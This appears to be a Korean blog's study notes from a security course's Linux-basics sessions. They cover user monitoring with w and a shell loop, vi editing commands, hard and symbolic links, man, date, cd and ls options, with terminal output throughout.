root     pts/16       2016-04-14 18:21 (172.16.6.204)
root     pts/17       2016-04-14 18:21 (172.16.6.205)
root     pts/18       2016-04-14 18:21 (172.16.6.206)
root     pts/19       2016-04-14 18:21 (172.16.6.220)
root     pts/20       2016-04-14 18:21 (172.16.6.219)
root     pts/21       2016-04-14 18:21 (172.16.6.200)
root     pts/22       2016-04-14 18:21 (172.16.6.214)

w : work 실행되고 있는 명령어들 확인
[root@linux205 ~]# w
 18:24:14 up  2:14,  3 users,  load average: 0.05, 0.04, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     :0       -                16:11   ?xdm?  29.55s  0.23s /usr/bin/gnome-session
root     pts/1    :0.0             17:38    4:01   0.06s  0.06s bash
root     pts/3    :0.0             18:18    0.00s  0.03s  0.00s w

putty 프로그램 사용해서 리눅스 서버에 접속

[root@linux205 ~]# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0C:29:F7:F6:B8 
          inet addr:172.16.6.205  Bcast:172.16.255.255  Mask:255.255.0.0
          inet6 addr: fec0:1234::20c:29ff:fef7:f6b8/64 Scope:Site
          inet6 addr: fe80::20c:29ff:fef7:f6b8/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:89960 errors:0 dropped:0 overruns:0 frame:0
          TX packets:777 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:7751095 (7.3 MiB)  TX bytes:60878 (59.4 KiB)
          Interrupt:67 Base address:0x2024

lo        Link encap:Local Loopback 
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:2565 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2565 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:2471336 (2.3 MiB)  TX bytes:2471336 (2.3 MiB)

putty 옵션 만들어서 접속

악의적 사용자(user01 vim /etc/passwd) 모니터링

모니터링 하는 방법 while ~ do ~ done
[root@linux205 ~]# while true
> do
> w user01
> sleep 2
> done
 18:42:12 up  2:32,  7 users,  load average: 0.10, 0.06, 0.01
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
user01   pts/5    linux205         18:36    5:21   0.14s  0.08s vim /etc/passwd
 18:42:14 up  2:32,  7 users,  load average: 0.10, 0.05, 0.01
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
user01   pts/5    linux205         18:36    5:23   0.14s  0.08s vim /etc/passwd
 18:42:16 up  2:32,  7 users,  load average: 0.10, 0.05, 0.01
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
user01   pts/5    linux205         18:36    5:25   0.14s  0.08s vim /etc/passwd

[root@linux205 ~]# while true
> do
> echo "----------`date`----------"
> w user01
> sleep 2
> done
----------2016. 04. 14. (목) 18:43:28 KST----------
 18:43:28 up  2:33,  7 users,  load average: 0.03, 0.04, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
user01   pts/5    linux205         18:36    6:37   0.14s  0.08s vim /etc/passwd
----------2016. 04. 14. (목) 18:43:30 KST----------
 18:43:30 up  2:33,  7 users,  load average: 0.03, 0.04, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
user01   pts/5    linux205         18:36    6:39   0.14s  0.08s vim /etc/passwd
----------2016. 04. 14. (목) 18:43:32 KST----------
 18:43:32 up  2:34,  7 users,  load average: 0.03, 0.04, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
user01   pts/5    linux205         18:36    6:41   0.14s  0.08s vim /etc/passwd
----------2016. 04. 14. (목) 18:43:34 KST----------
 18:43:34 up  2:34,  7 users,  load average: 0.02, 0.04, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
user01   pts/5    linux205         18:36    6:43   0.14s  0.08s vim /etc/passwd

user01 의 로그인쉘을 종료시키면 하위쉘 다 종료시킬수 있음
악성유저의 배쉬쉘의 PID 번호를 kill

[root@linux205 ~]# ps -fu user01
UID        PID  PPID  C STIME TTY          TIME CMD
user01    5972  5971  0 18:36 pts/5    00:00:00 -bash
user01    5995  5972  0 18:36 pts/5    00:00:00 vim /etc/passwd
[root@linux205 ~]# kill -9 5972

모니터링창에서는 아래와 같이 나옴
----------2016. 04. 14. (목) 18:46:42 KST----------
 18:46:42 up  2:37,  7 users,  load average: 0.00, 0.02, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
----------2016. 04. 14. (목) 18:46:44 KST----------
 18:46:44 up  2:37,  7 users,  load average: 0.00, 0.02, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
----------2016. 04. 14. (목) 18:46:46 KST----------
 18:46:46 up  2:37,  7 users,  load average: 0.00, 0.02, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT

[참고] 원격서버에 접속시 접속한 서버의 이름, 사용자, 작업 디렉토리 꼭 확인
# hostname
# id
# pwd

[참고] 관리서버에 접속시 오늘 로그인/로그아웃 사용자 정보 확인
# last
# who
# w

현재 서버에 붙어있는 사용자가 몇명인지 2초마다 확인
[root@linux205 ~]# ps -ef | grep httpd | wc -l
10
[root@linux205 ~]# while true
> do
> ps -ef | grep httpd | wc -l
> sleep 2
> done
10
10
10

[root@linux205 ~]# while true
> do
> echo "-----`date`-----"
> df -h /data1 /home
> sleep 2
> done
-----2016. 04. 14. (목) 19:47:27 KST-----
Filesystem            Size  Used Avail Use% Mounted on
/dev/sda8             487M   11M  451M   3% /data1
/dev/sda3             487M   11M  451M   3% /home
-----2016. 04. 14. (목) 19:47:29 KST-----
Filesystem            Size  Used Avail Use% Mounted on
/dev/sda8             487M   11M  451M   3% /data1
/dev/sda3             487M   11M  451M   3% /home

[root@linux205 ~]# while true
> do
> clear //이런식으로도 활용가능
> echo "----------`date`----------"
> df -h
> sleep 2
> done

----------2016. 04. 14. (목) 19:48:06 KST----------
Filesystem            Size  Used Avail Use% Mounted on
/dev/sda1              36G  3.1G   31G  10% /
/dev/sda8             487M   11M  451M   3% /data1
/dev/sda7             487M   11M  451M   3% /data2
/dev/sda6             487M   11M  451M   3% /data3
/dev/sda5             487M   11M  451M   3% /data4
/dev/sda3             487M   11M  451M   3% /home
tmpfs                 506M     0  506M   0% /dev/shm
/dev/hdc              3.9G  3.9G     0 100% /media/CentOS_5.5_Final

vi Visual Editor (/bin/vi)
vim Visual Editor Improved (/usr/bin/vim)

vi 에서 이동 명령어
h좌 j하 k상 l우
x한글자, dd한줄
i입력모드
shift + :, /, ? save & quit //최하위행(라인) 모드 라스트라인(Last Line Mode)
wq write & quit

: set number (: set nu)
: set nonumber (: set nonu)

: 30 (30G) nG //줄이동

w : word 다음 단어
b : back word 이전 단어
0(^) : 라인의 처음
$ : 라인의 끝
Ctrl + F : 다음페이지
Ctrl + B : 이전페이지
H, M, L : 출력된 페이지에서 하이 미들 로우 줄로 이동
G, nG, 1G : 소문자g 첫줄, 대문자G 마지막줄

삭제
x : 현재커서 삭제
dw : delete word 워드 단위로 삭제
d0, d$ : 커서 위치부터 라인처음까지 삭제, 라인끝까지 삭제
dd : 커서위치한 라인전부 삭제
ndd : 3dd 현재커서라인 포함해서 아래로 3라인 삭제, n라인 삭제, 잘 안쓴다고 함
:1,3d : 1번라인부터 3번라인까지 삭제
dG : 끝라인까지 다 삭제
d1G : 첫라인까지 다 삭제

i : insert 커서 앞부분에 insert
I : 커서 위치한 라인의 제일 첫칸에 삽입모드
a : append 커서 뒷부분에 insert
A : 커서 위치한 라인의 제일 마지막칸에 삽입모드
o : open line 현재 커서 아래에 빈줄삽입 후 삽입(i)모드
O : 현재 커서 위에 빈줄삽입 후 삽입(i) 모드

소문자는 아래, 대문자는 위

u undo 실행취소
u 바로 이전에 상태로 되돌림
U 라인 전체에 대해 이전 상태로 되돌림

J 현재라인에 아래 라인 붙이기

r 현재 글자를 대치 (워드에 수정모드)
R ESC 키를 누르기 전까지 현재 글자 대치

복사 Copy = Yank / 붙이기 Paste
yy 현재 라인 복사
p 현재 커서 아래쪽에 붙이기
P 현재 커서 위쪽에 붙이기
3yy(3Y) 현재 커서가 있는 라인 포함에서 아래로 3줄 복사

:1,3 copy 5 (:1,3 co 5) 1번라인~3번라인 복사해서 5번라인 아래에 붙이기
:1,3 m 5 1번라인~3번라인을 5번라인 아래로 이동하기

검색하기
/New(검색어), n다음 or N이전 현재 커서라인부터 찾으려는 문자열 검색
?New 문서의 마지막부터 찾기

치환작업
검색/바꾸기(Search & Replace)
:%s/<찾을문자열>/<바꿀문자열>/g

:5,10s/^/#/   /* 주석처리 */
:5,10s/^#//   /* 주석해제 */
:5,10s/^/ / (4 blank character) /* 들여쓰기 */
:5,10s/^ //   /* 내어쓰기 */

:w 저장하기
:w filename 다른이름으로 저장하기
:w! (root use) 강제적으로 저장하기
:w! filename
:q 종료
:q! 저장안하고 종료
:wq 저장하고 종료
:wq! (root use) 강제적으로 저장하고 종료
:!CMD vi 편집기를 빠져나가지 않은 상태로 쉘 커맨드 수행
:! bash 를 많이 쓰게될것임

[참고] 저장하고 빠져나가기
:x
:wq
ZZ

파일의 종류
파일의 구조
filename = inode + Data Block

일반파일(Ordinary File)
[root@linux205 /test]# echo 1111 > file1
[root@linux205 /test]# ls -l file1
-rw-r--r-- 1 root root 5  4월 14 21:45 file1 //inode
[root@linux205 /test]# cat file1
1111     //Data Block
[root@linux205 /test]# ls -i
5330754 file1    //5330754 = inode 번호

디렉토리파일(Directory File)
Data Block
. //현재 디렉토리의 inode 번호
.. //현재 디렉토리의 상위 디렉토리의 inode 번호
file1
dir2

[root@linux205 /test]# mkdir dir1
[root@linux205 /test]# ls -a dir1
.  ..
[root@linux205 /test]# touch dir1/file1
[root@linux205 /test]# mkdir dir1/dir2
[root@linux205 /test]# ls -a dir1
.  ..  dir2  file1
[root@linux205 /test]# tree
.
`-- dir1
    |-- dir2
    `-- file1

2 directories, 1 file
[root@linux205 /test]# ls -ia dir1
5330754 .  5330753 ..  5330756 dir2  5330755 file1

링크파일(Link File) - 하드링크 / 심볼링크(소프트링크)
하드링크 Hard Link
# ln file1 file2
심볼링크 Symbolic Link
# ln -s file1 file2

[root@linux205 /test]# touch file1
[root@linux205 /test]# ls -l file1
-rw-r--r-- 1 root root 0  4월 14 21:56 file1 //하드링크카운트 1
파일에 대한 하드링크 수는 1이다

[root@linux205 /test]# mkdir dir1
[root@linux205 /test]# ls -ld dir1
drwxr-xr-x 2 root root 4.0K  4월 14 21:57 dir1 //하드링크카운트 2
디렉토리 안에 들어있는 디렉토리의 개수가 하드링크 수이다 (., ..)

[root@linux205 /test]# mkdir dir1
[root@linux205 /test]# ls -l

drwxr-xr-x 2 root root 4.0K  4월 14 21:58 dir1
[root@linux205 /test]# mkdir dir1/dir2
[root@linux205 /test]# ls -l

drwxr-xr-x 3 root root 4.0K  4월 14 21:59 dir1
[root@linux205 /test]# mkdir dir1/dir3
[root@linux205 /test]# ls -l

drwxr-xr-x 4 root root 4.0K  4월 14 21:59 dir1
[root@linux205 /test]# touch dir1/file1
[root@linux205 /test]# ls -l

drwxr-xr-x 4 root root 4.0K  4월 14 21:59 dir1
[root@linux205 /test]# mkdir dir1/dir2/dir4
[root@linux205 /test]# ls -l

drwxr-xr-x 4 root root 4.0K  4월 14 21:59 dir1

[root@linux205 /test]# tree
.
`-- dir1
    |-- dir2
    |   `-- dir4
    |-- dir3
    `-- file1

4 directories, 1 file

[root@linux205 /test]# ls -l /
...
drwxr-xr-x 108 root root  12K  4월 14 16:11 etc
...
이 경우에는 etc 라는 디렉토리는 .과 ..을 제외한 하위디렉토리가 106개가 있다

하드링크 실습
[root@linux205 /test]# echo 1111 > file1
[root@linux205 /test]# ls -l file1
-rw-r--r-- 1 root root 5  4월 14 22:03 file1
[root@linux205 /test]# cat file1
1111
[root@linux205 /test]# ln file1 file2
[root@linux205 /test]# ls -li
합계 8.0K
5330754 -rw-r--r-- 2 root root 5  4월 14 22:03 file1
5330754 -rw-r--r-- 2 root root 5  4월 14 22:03 file2
[root@linux205 /test]# echo 2222 >> file2
[root@linux205 /test]# cat file2
1111
2222
[root@linux205 /test]# cat file1
1111
2222

파일 이름은 다르지만 동일한 inode 를 사용하는 같은 내용의 파일이다
하드링크카운트가 2인 이유는 하나의 inode에 2개의 filename이 있기 때문이다

file1 = inode1 + 11112222
file2 = inode1 + 11112222

[root@linux205 /test]# rm file1
rm: remove 일반 파일 `file1'? y 
[root@linux205 /test]# cat file2
1111
2222

파일을 삭제하는 경우에는 파일이름만 지우기 때문에 내용은 남아있다

[root@linux205 /test]# ls -l
합계 4.0K
-rw-r--r-- 1 root root 10  4월 14 22:05 file2

하드링크카운트가 1이 된것을 볼 수 있다


심볼링크 실습
[root@linux205 /test]# ln -s file2 file3
[root@linux205 /test]# ls -li
합계 4.0K
5330754 -rw-r--r-- 1 root root 10  4월 14 22:05 file2
5330755 lrwxrwxrwx 1 root root  5  4월 14 22:10 file3 -> file2 //file3이 file2를 포인트하고있다 터미널상에서는 파란색

inode 속성정보 다 다르다

f2 = inode1 + 11112222
f3 = inode2 + f2(inode1)

[root@linux205 /test]# echo 3333 >> file3
[root@linux205 /test]# cat file3
1111
2222
3333
[root@linux205 /test]# cat file2
1111
2222
3333
[root@linux205 /test]# echo 4444 >> file2
[root@linux205 /test]# cat file2
1111
2222
3333
4444
[root@linux205 /test]# cat file3
1111
2222
3333
4444

[root@linux205 /test]# rm file2
rm: remove 일반 파일 `file2'? y
[root@linux205 /test]# cat file3
cat: file3: 그런 파일이나 디렉토리가 없음

file3이 포인트하는 file2가 없어지면 file3은 의미가 없어진다

[root@linux205 /test]# ls -li
합계 0
5330755 lrwxrwxrwx 1 root root 5  4월 14 22:10 file3 -> file2 //터미널상에서는 빨간색

색상의 차이는 2번 그림파일

하드링크와 심볼링크의 차이점
1) 파일시스템을 넘어서 링크를 걸 수 있는가?? 하드링크는 불가 심볼링크는 가능
2) 디렉토리에 링크를 걸 수 있는가?? 하드링크는 불가 심볼링크는 가능
 => 하드링크에는 한계가 있다
 => 작업에 편의를 위해서 심볼릭링크를 사용한다

[참고] 심볼릭 링크 = 윈도우 바로가기 아이콘(바로가기는 파일이지만 디렉토리에 링크를 걸수있음)



'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160419 리눅스 기초  (0) 2016.04.20
20160418 리눅스 기초  (0) 2016.04.19
20160415 리눅스 기초  (0) 2016.04.15
20160412 리눅스 기초  (0) 2016.04.13
20160411 리눅스 기초  (0) 2016.04.12
Posted by 22Hz
, |
2일차

복습

런레벨 리눅스 운영체제의 동작상태

1번 특이사항 2, 3, 5 의 차이정도는 알고 있어야한다

데몬?? 데몬이 뭐지

2번 3번은 텍스트기반은 동일 하지만 네트워크 연결 차이 NFS?? 5번은 그래픽 기반

runlevel 확인 및 조정 명령어

# who -r (# runlevel)

# halt
# init o (# telinit 0) 리눅스가 유닉스의 영향을 받았기 때문에 2가지 다 사용가능

[참고] Server Power Off
# halt
# poweroff
# init 0
# shutdown -h now

[참고] Server Reboot
# reboot
# init 6
# shutdown -r now



언어 확인 & 변경 후에는 재부팅(# reboot)을 해 줘야 한다 나중에 에러가 없다

root 암호를 변경하는 경우
GRUB Menu를 사용

Ctrl + C, Ctrl + D






2일차



0. man CMD & passwd CMD
 man CMD
  # ls --help
  # man ls  

  # man ls
  # man -k calendar //키워드
  # whatis passwd //매뉴얼상 목록번호 확인
  # man 5 passwd

 passwd CMD


1. 시스템의 기본 정보 확인
 uname CMD
  # uname -a
  # cat /etc/redhat-release //redhat- 이부분은 변경가능 *release 로 대체해서 검색

  [참고] 문서 사이트
  http://docs.redhat.com/
  http://www.centos.org/docs/

 date CMD
  # date +%m%d
  # date -d '1 day ago' +%m%d

  # rdate -p time.bora.net
  # rdate -s time.bora.net

 cal CMD


2. 디렉토리 이동 관련 명령어
 pwd CMD
  [참고] PS1 변수
  # export PS1='[\u@\h \w]\$ ' (~/.bashrc)
 cd CMD
  PATH
  - 상대경로(Relative PATH) # cd dir1
  - 절대경로(Absolute PATH) # cd /dir1

  # cd -
  # cd ../dir1

  [참고] 홈디렉토리로 이동
  # cd (# cd ~) //~ 가 나의 홈폴더라는 뜻
  # cd ~fedora //fedora 사용자의 홈 폴더로 이동


3. 디렉토리 관련 명령어
 ls CMD
  # ls -l dir1
  # ls -ld dir1
  OPTIONS: -a, -l, -R, -i, -d, -h, --color, -t, -r

  # ls -altr
  # alias ls='ls -h' (~/.bashrc)

 mkdir CMD
  # mkdir -p dir1/dir2/dir3
 rmdir CMD
  # rm -rf dir1

4. 파일 관리 명령어
 touch CMD
  # rouch -t 08301300 file2
 cp CMD
  # cp file1 file2
  # cp file1 dir1
  # cp -r dir1 dir2
  OPTIONS : -i, -f, -r, -p(preserve), -a

  [참고] 로그파일을 내용만 지우는 경우
  # cp -f /dev/null file.log
  # cat /dev/null > file.log
  # > file.log

  [참고] 설정 파일을 백업하고 설정하는 경우
  # cd /etc/httpd/conf
  # cp -a httpd.conf httpd.conf.old
  # vi httpd.conf
 mv CMD
  # mv file1 file2
  # mv file1 dir1
  # mv dir1 dir2
  OPTIONS : -i, -f,
 rm CMD
  # rm -rf dir1
  OPTIONS : -i, -r, -f

  [참고] debugfs CMD

5. 파일 내용 확인 명령어
 cat CMD
  # cat -n file1 (# nl file1)
  # cat file1 file2 > file3

  [참고] strings CMD
 more CMD
  # CMD | more
  # cat /etc/services | more
  # ps -ef | more
  # rpm -qa | more
  # chkconfig --list | more
 head CMD
  # alias pps='ps -ef | head -1 ; ps -ef | grep xinetd'
 tail CMD
  # tail -f /var/log/messages

  [참고] 서버 모니터링 명령어
  # top   (# gnome-system-monitor)
  # tail -f /var/log/messages (# gnome-system-log)

  [참고] 로그 파일 모니터링
  # tail -f /var/log/messages
  # tail -f /var/log/messages | egrep -i '(warn|err|crit|emerg)'
  # tail -f /var/log/messages /var/log/secure



실습실습 오늘의 실습


리눅스 명령어 형식

# ls -l /var

# 쉘 프롬프트
ls 명령어
-l 옵션
/var 인자

스크립트 작성중에 Tab 키 사용하면 자동완성

명령어의 옵션은 자리를 바꾸거나 혹은 합쳐서 사용해도 같은 의미로 동작한다

명령어의 옵션을 약자 형태로 쓰지않기 위해서는 --(double dash) 를 붙인다
# ls -all (# ls -a)


# man //매뉴얼에 관한 명령어
# man ls //명령어나 파일의 이름으로 검색하는 경우
# man -k calendar //keyword로 검색하는 경우
# whatis passwd //매뉴얼 페이지의 목록을 확인하는 경우
# man 1 passwd //section 번호를 검색하는 경우


간략하게 정보 확인 # ls --help
자세하게 정보 확인 # man ls


space = ctrl+f(foward) 반대로 ctrl+b

/-a 로 시작하는 단어 검색
n 다음 N 이전

/OPTIONS 검색

/EXAMPLES 검색

h 는 help 명령어가 나온다

q 는 나가는거

# cal 달력을 출력


# whatis passwd 섹션 별로 검색 할 경우 사용 whatis


# info 보다 # pinfo 가 가독성이 더 좋음 웹페이지? 보듯??


# ssh 암호화 로그인 방식 키값을 받아야한다

-a 옵션은 all 모든 옵션 확인할때 추가해준다



[root@linux205 ~]# whatis
usage: whatis keyword ...
[root@linux205 ~]# whatis man
man: nothing appropriate

왜 이렇게 나오는것일까??

[root@linux205 ~]# whatis whatis
whatis: nothing appropriate

해결 # makewhatis
[EX2] 명령어를 알지 못하는 경우
# man –k calendar
calendar: nothing appropriate -> 에러메세지가 나오면
처음 –k 옵션을 실행하게 된다면 색인에 대해 생성이 되어있지 않기 때문에 에러 메시지를 출력한다.
# makewhatis
-> 약간 시간이 걸린다.(약 1분 정도) [ 명령어에 대한 색인을 생성한다 ]
# man -k calendar /* -k옵션 뜻 Equivalent to apropos로 적절한 말을 찾아 주는 옵션 */

이런식으로 나오게 됨

[root@linux205 ~]# makewhatis
You have mail in /var/spool/mail/root

[root@linux205 ~]# whatis man
man                  (1)  - format and display the on-line manual pages
man                  (1)  - 온라인 매뉴얼 페이지를 형식화하고 표시
man                  (1p)  - display system documentation
man                  (7)  - macros to format man pages
man                 (rpm) - 문서 자료 도구 세트: man, apropos 와 whatis.
man-pages           (rpm) - Linux 문서화 프로젝트의 Man (메뉴얼) 페이지.
man-pages-ko        (rpm) - 한국어 Manpage 프로젝트의 한국어(한글) Man(메뉴얼) 페이지.
man.conf [man]       (5)  - man을 위한 구성 자료
man.config [man]     (5)  - configuration data for man

해결 기쁨!!




# date //시스템 시간 출력
# date 07241300 //시스템 시간 변경 날짜4시간4 24시
# date 081613002009 //2009년 8월 16일 13시
# date +%m%d //시간 출력 형태 변경


time.kriss.re.kr //한국표준과학연구원 타임서버
time.bora.net //보라넷 타임서버

[root@linux205 ~]# rdate -p time.bora.net
rdate: timeout for time.bora.net

타임아웃이 뜨는 이유?

강사님이 도움을 주셨음
버츄얼네트워크에디터에서 설정을 좀 손봤음
오토매틱으로 설정한게 가상 리소스를 잡아서
실제 리소스를 잡게끔 변경하고 난 뒤 정상적으로 작동이 된다

[root@linux205 ~]# rdate -s time.bora.net
[root@linux205 ~]# rdate -p time.bora.net
rdate: [time.bora.net]  Tue Apr 12 18:55:12 2016

해결 기쁨!!



[root@linux205 ~]# date +%m%d_%H%M
0816_1304

`커맨드` ' 이게 아니라 `


[root@linux205 ~]# cd /test
[root@linux205 test]# touch file_`date +%m%d`.log
[root@linux205 test]# ls -l
합계 70020
-r--r--r-- 1 root root 71613955  4월 12  2016 VMwareTools-10.0.1-3160059.tar.gz
-rw-r--r-- 1 root root        3  4월 11  2016 file1
-rw-r--r-- 1 root root        0  8월 16 13:05 file_0816.log
drwxr-xr-x 9 root root     4096 10월 19  2015 vmware-tools-distrib

[root@linux205 test]# date -d '1 day ago' +%m%d
0815

오늘 날짜 기준에서 1일 전 2 day ago 면 2일 전


[root@linux205 test]# cal 2002
                               2002                               

         1월                    2월                    3월        
일 월 화 수 목 금 토   일 월 화 수 목 금 토   일 월 화 수 목 금 토
       1  2  3  4  5                   1  2                   1  2
 6  7  8  9 10 11 12    3  4  5  6  7  8  9    3  4  5  6  7  8  9
13 14 15 16 17 18 19   10 11 12 13 14 15 16   10 11 12 13 14 15 16
20 21 22 23 24 25 26   17 18 19 20 21 22 23   17 18 19 20 21 22 23
27 28 29 30 31         24 25 26 27 28         24 25 26 27 28 29 30
                                              31
         4월                    5월                    6월        
일 월 화 수 목 금 토   일 월 화 수 목 금 토   일 월 화 수 목 금 토
    1  2  3  4  5  6             1  2  3  4                      1
 7  8  9 10 11 12 13    5  6  7  8  9 10 11    2  3  4  5  6  7  8
14 15 16 17 18 19 20   12 13 14 15 16 17 18    9 10 11 12 13 14 15
21 22 23 24 25 26 27   19 20 21 22 23 24 25   16 17 18 19 20 21 22
28 29 30               26 27 28 29 30 31      23 24 25 26 27 28 29
                                              30
         7월                    8월                    9월        
일 월 화 수 목 금 토   일 월 화 수 목 금 토   일 월 화 수 목 금 토
    1  2  3  4  5  6                1  2  3    1  2  3  4  5  6  7
 7  8  9 10 11 12 13    4  5  6  7  8  9 10    8  9 10 11 12 13 14
14 15 16 17 18 19 20   11 12 13 14 15 16 17   15 16 17 18 19 20 21
21 22 23 24 25 26 27   18 19 20 21 22 23 24   22 23 24 25 26 27 28
28 29 30 31            25 26 27 28 29 30 31   29 30

        10월                   11월                   12월        
일 월 화 수 목 금 토   일 월 화 수 목 금 토   일 월 화 수 목 금 토
       1  2  3  4  5                   1  2    1  2  3  4  5  6  7
 6  7  8  9 10 11 12    3  4  5  6  7  8  9    8  9 10 11 12 13 14
13 14 15 16 17 18 19   10 11 12 13 14 15 16   15 16 17 18 19 20 21
20 21 22 23 24 25 26   17 18 19 20 21 22 23   22 23 24 25 26 27 28
27 28 29 30 31         24 25 26 27 28 29 30   29 30 31


[root@linux205 test]# cal 6 2002
      6월 2002     
일 월 화 수 목 금 토
                   1
 2  3  4  5  6  7  8
 9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30




pwd print working directory

cd change directory

[root@linux205 ~]# pwd
/root
[root@linux205 ~]# cd /test
[root@linux205 test]# pwd
/test
[root@linux205 test]# cd
[root@linux205 ~]# pwd
/root



[root@linux205 ~]# echo $PS1
[\u@\h \W]\$

\u 유저네임
\h 호스트네임
\W 마지막경로
\$ root 면 # 일반사용자면 $으로 표시

[root@linux205 ~]# PS1='a   '
a   PS1='[\u@\h \W]\$ '
[root@linux205 ~]#



[root@linux205 ~]# gedit ~/.bashrc

------------------------------------------------------------------------

# .bashrc

# User specific aliases and functions

alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'

# Source global definitions
if [ -f /etc/bashrc ]; then
 . /etc/bashrc
fi

#
# Sfecific Configuration
#
export PS1='[\u@\h \w]\$ '

------------------------------------------------------------------------

[root@linux205 ~]# . ~/.bashrc
[root@linux205 ~]# echo $PS1
[\u@\h \w]\$
[root@linux205 ~]# cd /test
[root@linux205 /test]#  //현재작업경로(pwd)가 표시




경로(PATH) /가 없으면 상대경로 /가 있으면 절대경로



[root@linux205 /test]# cd /etc
[root@linux205 /etc]# cd sysconfig/
[root@linux205 /etc/sysconfig]# cd network-scripts/

[root@linux205 /etc/sysconfig/network-scripts]# cd ../../
[root@linux205 /etc]#



[root@linux205 /etc]# cd /tmp
[root@linux205 /tmp]# cd /etc/sysconfig/
[root@linux205 /etc/sysconfig]#

root 사용자의 경우
[root@linux205 ~]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[root@linux205 ~]# cd
[root@linux205 ~]# pwd
/root


fedora 사용자의 경우
[root@linux205 ~]# ssh fedora@localhost
fedora@localhost's password:
Last login: Tue Apr 12 16:32:21 2016 from linux205.example.com
[fedora@linux205 ~]$ id
uid=500(fedora) gid=500(fedora) groups=500(fedora)
[fedora@linux205 ~]$ pwd
/home/fedora

cd ~사용자 //사용자의 홈폴더로 이동
[root@linux205 ~]# cd ~fedora
[root@linux205 /home/fedora]# pwd
/home/fedora

[참고] # cd ~fedora 와 # cd ~/fedora 는 다르다
[root@linux205 ~]# cd ~/fedora
bash: cd: /root/fedora: 그런 파일이나 디렉토리가 없음



[root@linux205 ~]# cd /etc
[root@linux205 /etc]# cd /etc/sysconfig/network-scripts/
[root@linux205 /etc/sysconfig/network-scripts]# cd /etc
[root@linux205 /etc]# cd -
/etc/sysconfig/network-scripts
[root@linux205 /etc/sysconfig/network-scripts]# cd -
/etc
[root@linux205 /etc]# cd -
/etc/sysconfig/network-scripts
[root@linux205 /etc/sysconfig/network-scripts]#

- 이전 디렉토리를 의미

dir 과 ls 가 뭐가 다르지? ls는 색이 나오는데

VM 스냅샷 기능 고스트와 유사 이미지 백업의 기능 정도?




동일수준의 폴더로 이동하는 기능 # cd ../폴더이름

[root@linux205 /test]# mkdir dir1 dir2
[root@linux205 /test]# ls
dir1  dir2
[root@linux205 /test]# cd dir2
[root@linux205 /test/dir2]# pwd
/test/dir2
[root@linux205 /test/dir2]# cd ..
[root@linux205 /test]# ls
dir1  dir2
[root@linux205 /test]# cd dir1
[root@linux205 /test/dir1]# cd ../dir2
[root@linux205 /test/dir2]# cd ../dir1
[root@linux205 /test/dir1]# pwd
/test/dir1




#ls -l //현재 디렉토리 안에 있는 내용들을 보여줌
#ls -ld //디렉토리의 속성정보를 보여줌


[root@linux205 ~]# cd /test
[root@linux205 /test]# rm -rf /test/* //삭제
[root@linux205 /test]# touch file1
[root@linux205 /test]# mkdir dir1
[root@linux205 /test]# touch dir1/file2
[root@linux205 /test]# ls -l
합계 4
drwxr-xr-x 2 root root 4096  4월 12 18:18 dir1
-rw-r--r-- 1 root root    0  4월 12 18:18 file1
[root@linux205 /test]# ls -ld
drwxr-xr-x 3 root root 4096  4월 12 18:18 .

[root@linux205 /test]# ls -l dir1
합계 0
-rw-r--r-- 1 root root 0  4월 12 18:18 file2
[root@linux205 /test]# ls -ld dir1
drwxr-xr-x 2 root root 4096  4월 12 18:18 dir1
[root@linux205 /test]# ls -lR /test
/test:
합계 4
drwxr-xr-x 2 root root 4096  4월 12 18:18 dir1
-rw-r--r-- 1 root root    0  4월 12 18:18 file1

/test/dir1:
합계 0
-rw-r--r-- 1 root root 0  4월 12 18:18 file2

-lR = Recursive 하위내용까지
-al 모든 정보 all

"ls -F" 옵션 실습 //일반, 링크, 실행, 디렉토리파일 구분

[root@linux205 /test]# cp /etc/passwd file1
[root@linux205 /test]# ln -s file1 file2
[root@linux205 /test]# cp /bin/ls file3
[root@linux205 /test]# mkdir dir1
[root@linux205 /test]# ls
dir1  file1  file2  file3
[root@linux205 /test]# ls -F
dir1/  file1  file2@  file3*



ls -i inode 번호 고유번호

[root@linux205 /test]# ls -li /test/file1
5330754 -rw-r--r-- 1 root root 1904  4월 12 18:26 /test/file1
[root@linux205 /test]# ls -ldi /test/dir1
5330757 drwxr-xr-x 2 root root 4096  4월 12 18:26 /test/dir1



alias(별칭) 일종의 핫키 등록하는거 int?
alias c='clear'
# c (# clear)

^ 라인의 처음 이라는 뜻
^- 라인 처음이 - 라고 시작하는것
grep 명령어

[root@linux205 /test]# alias lsf='ls -l | grep "^-"'
[root@linux205 /test]# alias lsd='ls -l | grep "^d"'
[root@linux205 /test]# lsf
-rw-r--r-- 1 root root  1904  4월 12 18:26 file1
-rwxr-xr-x 1 root root 95116  4월 12 18:26 file3
[root@linux205 /test]# lsd
drwxr-xr-x 2 root root  4096  4월 12 18:26 dir1

ls -h 옵션 human
[root@linux205 /test]# ls -l /etc/services
-rw-r--r-- 1 root root 362031  2월 23  2006 /etc/services
[root@linux205 /test]# ls -lh /etc/services
